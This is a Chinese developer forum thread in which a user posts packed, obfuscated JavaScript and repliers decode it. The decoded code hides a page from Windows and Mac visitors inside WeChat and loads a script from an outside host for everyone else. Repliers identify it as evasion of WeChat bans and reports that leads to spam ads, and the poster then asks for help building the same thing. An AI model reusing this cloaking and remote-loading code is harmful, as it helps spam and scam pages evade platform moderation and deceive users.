V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
推荐关注
Meteor
JSLint - a JavaScript code quality tool
jsFiddle
D3.js
WebStorm
推荐书目
JavaScript 权威指南第 5 版
Closure: The Definitive Guide
xssp
V2EX  ›  JavaScript

求大佬帮忙看一下混淆过的 js,看不懂

  •  
  •   xssp · 2018-06-17 19:46:04 +08:00 · 4465 次点击
    这是一个创建于 2354 天前的主题,其中的信息可能已经有所发展或是发生改变。

    window.$php_url = "//api. chmochee. com /rpx"; eval(function (p, a, c, k, e, r) { e = function (c) { return (c < a ? '' : e(parseInt(c / a))) + ((c = c % a) > 35 ? String.fromCharCode(c + 29) : c.toString(36)) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [

            function (e) {
                return r[e]
            }
        ];
        e = function () {
            return '\\w+'
        };
        c = 1
    };
    while (c--)
        if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
    return p
    

    }('(j(a,b){a(b)})(j(a){5 b=y.S.t();5 c=y.Y.t();5 d=F.N("R/k","V");5 e='';n(!/B/.C(b)||c.s("K")==0||c.s("O")==0){e="网络错误,请重新打开!!!"}Q{n(q(m.$g)=='u'||m.$g<=''){m.$g='//Z.11.1a.1b.1z/1B'}5 f=0;n(q(h.l)!='u'){f=h.l}h.D(f+1,"E","#"+a(p)+(G H).I());e=J("%7%L%M%2%4%P%2%4%1E%2%4%3%3%3%3%r%T-U%9%W-X%6%o%9%10/k%v%12%13-8%6%2%4%3%3%3%3%r%14%9%15%6%o%9%16%17-18%19-w%x.0%1c-w%x.0%1d-1e%1f%6/%2%4%3%3%3%3%1g%2%7/1h%2%4%7/1i%2%4%1j%1k%9%1l%1m%1n%v%6%2%4%1o%1p%9%6"+1q($g)+"/1r.1s%6%2%7/1t%2%4%7/1u%2%4%7/k%2")}d.1v(e);d.1w()},j(a){   a=a||p;   5 b='1x';   5 c=b.l;   5 d='';   1y(i=0;i<a;i++){     d+=b.1A(z.1C(z.1D()*c));  }   A d});', 62, 103, '||3E|20|0A|var|22|3C||3D|||||||php_url|history||function|html|length|window|if|20content|32|typeof|3Cmeta|indexOf|toLowerCase|undefined|3B|scale|3D1|navigator|Math|return|micromessenger|test|pushState|message|document|new|Date|getTime|unescape|win|21DOCTYPE|20html|open|mac|3Chtml|else|text|userAgent|20http|equiv|replace|22Content|Type|platform|apple|22text|cloud|20charset|3Dutf|20name|22viewport|22width|3Ddevice|width|2Cinitial|theshop|com|2Cmaximum|2Cuser|scalable|3D0|3Ctitle|title|head|3Cbody|20style|22background|3A|23fff2e5|3Cscript|20src|escape|loadhtml|php|script|body|write|close|ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678|for|cn|charAt|rpx|floor|random|3Chead'.split('|'), 0, {}));

    22 条回复    2018-06-18 22:44:32 +08:00
    xssp
        1
    xssp  
    OP
       2018-06-17 19:49:15 +08:00
    好心的大佬,帮个忙,谢谢了。
    OpenJerry
        2
    OpenJerry  
       2018-06-17 19:49:28 +08:00
    yankebupt
        3
    yankebupt  
       2018-06-17 20:23:02 +08:00
    如果你运气好有可能这是用某个 js 框架写的,没保护过的话有对应浏览器调试插件恢复易读格式...比如某些 react...
    如果真的做过混淆或者就不打算调试了没留后路估计 GG 了...
    xssp
        4
    xssp  
    OP
       2018-06-17 20:42:46 +08:00
    @OpenJerry 用过了,但没啥变化,还是谢谢你了
    xssp
        5
    xssp  
    OP
       2018-06-17 20:43:08 +08:00
    @yankebupt 好的,谢谢
    aristotll
        6
    aristotll  
       2018-06-17 20:57:30 +08:00
    复制粘贴能拷贝好吗 markdown 至少格式也要吧

    把你的内容粘贴进去全部报错 就不想看了
    xiaocsl
        7
    xiaocsl  
       2018-06-17 21:25:34 +08:00   ❤️ 1
    eval 里面肯定的结果肯定是一个字符串,你单纯的执行一下里面的函数返回的字符串就是要执行的代码.

    不过你复制的代码, function (p, a, c, k, e, r) 这个函数里第一个参数 p 不知道是你复制的问题,还是说在其他代码里有些小 hack ,直接执行的话,因为参数 p 不是个正确的字符串,所以会报错.手动改一下引号就行了.最后执行出的结果是.


    (function(a, b) {
    a(b)
    })(function(a) {
    var b = navigator.userAgent.toLowerCase();
    var c = navigator.platform.toLowerCase();
    var d = document.open("text/html", "replace");
    var e = "";
    if (!/micromessenger/.test(b) || c.indexOf("win") == 0 || c.indexOf("mac") == 0) {
    e = "网络错误,请重新打开!!!"
    } else {
    if (typeof(window.$php_url) == "undefined " || window.$php_url <= "") {
    window.$php_url = " //apple.cloud.theshop.com.cn/rpx"
    }
    var f = 0;
    if (typeof(history.length) != "undefined") {
    f = history.length
    }
    history.pushState(f + 1, "message", "#" + a(32) + (new Date).getTime());
    e = unescape("%3C%21DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/html%3B%20charset%3Dutf-8%22%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2Cinitial-scale%3D1.0%2Cmaximum-scale%3D1.0%2Cuser-scalable%3D0%22/%3E%0A%20%20%20%20%3Ctitle%3E%3C/title%3E%0A%3C/head%3E%0A%3Cbody%20style%3D%22background%3A%23fff2e5%3B%22%3E%0A%3Cscript%20src%3D%22" + escape($php_url) + "/loadhtml.php%22%3E%3C/script%3E%0A%3C/body%3E%0A%3C/html%3E")
    }
    d.write(e);
    d.close()
    },
    function(a) {   a = a || 32;  
    var b = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678";  
    var c = b.length;  
    var d = "";  
    for (i = 0; i < a; i++) {     d += b.charAt(Math.floor(Math.random() * c));  
    }  
    return d
    });
    xiaocsl
        8
    xiaocsl  
       2018-06-17 21:37:12 +08:00
    也或者有啥我不知道的一些 JS 特性,如果有大佬知道的话,麻烦 @我一下哈.
    manhere
        9
    manhere  
       2018-06-17 21:40:58 +08:00 via Android   ❤️ 2
    很明显这是实现了一个微信防封防举报功能
    yankebupt
        10
    yankebupt  
       2018-06-17 23:28:48 +08:00   ❤️ 1
    @manhere 感谢。没仔细看还以为可能是 js 框架封装的事件 dispatcher...

    不过用 UA 和 platform 真能躲过人工举报审核么...
    要么这作者强猜审核员是 win 或 mac 而不是 mobile 模拟器什么的...
    要不就是真的举报过,然后钓鱼抓取过审核员的 UA/platform,真的是 win 或 mac...
    yankebupt
        11
    yankebupt  
       2018-06-17 23:30:14 +08:00
    @xssp 误导了,抱歉
    wuhau
        12
    wuhau  
       2018-06-17 23:53:25 +08:00   ❤️ 1
    http@//apple[dot]cloud. ***shop[dot]com[dot]cn/ rpx /loa**tml [dot] php 访问后获取到一段 js.
    然后将页面的 data['html'] 的值 base64 解密,又引用了一个 www [dot] li*kte*h [dot] cn 的 CPS 壮阳广告
    xssp
        13
    xssp  
    OP
       2018-06-18 17:37:44 +08:00
    @aristotll 不好意思哈,我昨天格式整理了的,发上来打乱了,抱歉。
    xssp
        14
    xssp  
    OP
       2018-06-18 17:38:33 +08:00
    @xiaocsl 好的,谢谢你了,大佬。端午节快乐
    xssp
        15
    xssp  
    OP
       2018-06-18 17:39:30 +08:00
    @manhere 你好 请问一下可以加你 vx 详细聊下吗?
    xssp
        16
    xssp  
    OP
       2018-06-18 17:40:26 +08:00
    @yankebupt 好的,谢谢你了,端午节快乐
    xssp
        17
    xssp  
    OP
       2018-06-18 17:41:11 +08:00
    @wuhau 谢谢
    xssp
        18
    xssp  
    OP
       2018-06-18 17:46:51 +08:00
    @manhere 你好,请问一下,大佬可以提供一个联系方式吗?想做你刚说的这块。
    manhere
        19
    manhere  
       2018-06-18 17:51:11 +08:00 via Android
    @xssp 用户名 @gmail.com
    xssp
        20
    xssp  
    OP
       2018-06-18 17:53:50 +08:00
    @yankebupt 你好,请问一下,方便提供个联系方式吗?
    xssp
        21
    xssp  
    OP
       2018-06-18 18:02:00 +08:00
    @manhere 谢谢,查收下邮件
    Leigg
        22
    Leigg  
       2018-06-18 22:44:32 +08:00 via iPhone
    qq 浏览器有个 js 美化插件
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   3486 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 28ms · UTC 00:44 · PVG 08:44 · LAX 16:44 · JFK 19:44
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.